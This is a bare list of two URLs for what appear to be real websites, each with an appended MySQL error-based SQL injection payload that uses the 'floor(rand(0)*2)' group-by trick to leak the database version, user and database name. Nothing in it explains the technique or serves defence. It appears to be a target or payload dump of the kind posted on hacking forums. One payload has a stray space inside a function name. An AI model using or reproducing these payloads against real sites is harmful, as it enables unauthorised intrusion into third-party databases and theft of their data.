http://
www.u-need.de
/main.php?id=33+and+(select 1 from(select count(*),concat(version(),0x3a,user(),0x3a,databas e(),floor(rand(0)*2))x from information_schema.tables group by x)antichat) --+

http://
www.wdcb.org
/programming/programs.php?id=17' and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)antichat) --+